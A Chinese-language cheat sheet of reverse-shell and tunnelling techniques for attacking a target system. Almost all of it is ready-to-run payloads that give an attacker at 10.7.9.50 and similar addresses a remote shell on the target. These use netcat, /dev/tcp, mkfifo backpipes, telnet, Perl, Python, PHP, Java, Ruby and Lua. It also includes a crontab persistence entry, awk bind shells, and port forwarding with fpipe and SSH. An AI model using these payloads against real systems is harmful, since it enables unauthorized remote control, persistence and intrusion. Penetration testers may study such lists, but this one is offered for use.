### [https://krober.biz/misc/reverse_shell.php](https://krober.biz/misc/reverse_shell.php)
### telnet to telnet 在目標系統生成一個轉發shell,這個shell需要在攻擊者本地監聽兩個端口分別是9970和9980
* nc -lvnp 9980 (攻擊者本機本地監聽9980,此處輸入命令但結果顯示會在本地監聽的另一個端口顯示)
* nc -lvnp 9970 (攻擊者本機本地監聽9970,此處是顯示命令執行的結果)
* telnet 10.57.239.50 9980 | /bin/bash | telnet 10.57.239.50 9970
### Windows下端口重定向工具fpipe
* 在Windows環境下執行如下命令:
* FPipe.exe -l 801 -s 1081 -r 22 10.21.33.22
* 上述命令的含義:
* 表示在Windows環境下本地監聽801端口,這個端口是供外部主機連接,然后外部主機嘗試連接801端口,fpipe會將此連接進來的端口流量轉發至本機的1081端口,之后將1081端口出來的流量轉發至最終需要連接的10.21.33.22的22端口
* fpipe的下載地址:http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip
### Linux下使用ssh進行本地,遠程,隧道,或動態端口轉發
* ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
* ssh -L 8080:127.0.0.1:80 root@192.168.2.80 Local Port
* ssh -R 8080:127.0.0.1:80 root@192.168.2.80 Remote Port
* ssh -D 127.0.0.1:9060 -N [username]@[ip]
* proxychains ifconfig
### 在netcat沒有-e參數或者被刪除禁用了可以使用mknod
* nc -lvnp 4488 (攻擊者IP地址 10.7.9.50)
* mknod backpipe p; nc 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目標主機上執行)
* Note: 上述mknod的使用之間0<backpipe 1>backpipe不能有空格,否則執行不成功,當然這個backpipe的名稱可以隨便換
### netcat反彈shell
* nc -lvnp 4488 (攻擊者IP地址 10.7.9.50)
* nc 10.7.9.50 4488 -e /bin/bash (目標主機上執行)
* /bin/sh | nc 10.7.9.50 4488
### 不使用netcat可以使用/dev/tcp套接字的編程特性,重定向/bin/bash到遠程系統
* /bin/bash -i > /dev/tcp/10.7.9.50/4488 0<&1 2>&1 (目標主機上執行)
* bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
* 0<&196;exec 196<>/dev/tcp/10.7.9.50/4488; sh <&196 >&196 2>&196
* nc -lvnp 4488 (攻擊者IP地址)
### 不用netcat和/dev/tcp
* mknod backpipe p && telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目標主機執行,注意:使用&&的時候如果執行了一次生成了backpipe,再次執行此命令還顯示已經存在backpipe執行不了,如果要再次執行可以更好backpipe名字或者刪除backpipe)
* mknod backpipe p; telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目標主機執行,注意:使用;的時候如果執行了一次生成了backpipe,再次執行此命令是沒有問題,可以一直執行此相同的命令)
* rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.7.9.50 4488 >/tmp/f
* nc -lvnp 4488 (攻擊者IP地址)
### 使用perl反彈shell
* perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.7.9.50:4488");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' (目標主機上執行)
* nc -lvnp 4488 (攻擊者本地監聽)
### 使用perl代碼反彈shell
* nc -lvnp 4488 (攻擊者本地監聽)
* 新建並編輯腳本 vim reshell.pl
```
#!/usr/bin/perl
use Socket;
$i="10.7.9.50";
$p=4488;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
```
### 使用Python反彈shell
* nc -lvnp 4488 (攻擊者本地監聽)
* 新建並編輯腳本 vim reshellpy1.py
```
#!/usr/bin/python
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.7.9.50",4488))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```
* 新建並編輯腳本 vim reshellpy2.py
```
這個暫未測試,需要更改腳本
#!/usr/bin/python
import socket,subprocess
HOST = '10.16.44.100' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()
```
### php反彈shell
* nc -lvnp 4488 (攻擊者本機監聽)
* php -r '$sock=fsockopen("10.57.239.50",4488);exec("/bin/sh -i <&3 >&3 2>&3");' (目標主機上執行)
### Java反彈shell
* nc -lvnp 4488 (攻擊者本機監聽)
```
暫未測試
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.7.9.50/4488;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
### ruby反彈shell
* nc -lvnp 4488 (攻擊者本機監聽)
* ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.7.9.50","4488");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
### lua反彈shell
* nc -lvnp 4488 (攻擊者本機監聽)
```
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.57.239.50','4488');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```
### 計划任務crontab反彈shell
* nc -lvnp 4488 (攻擊者本機監聽)
```
目標主機添加如下計划任務
* * * * * /bin/bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
```
### 使用awk或者gawk在目標主機監聽端口,然后攻擊者主動連接,這個腳本不是反彈腳本
```
新建編輯shell.gawk 添加如下腳本
#!/usr/bin/gawk -f
BEGIN {
Port = 4488
Prompt = "p0rietea> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
然后給其執行權限chmod +x shell.gawk
```
* awk也可以
```
新建編輯shell.awk 添加如下腳本
#!/usr/bin/awk -f
BEGIN {
Port = 4488
Prompt = "p0rietea> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
然后給其執行權限chmod +x shell.awk
在攻擊主機上執行nc 10.7.9.50 4488
```系統提權-各種反彈shell使用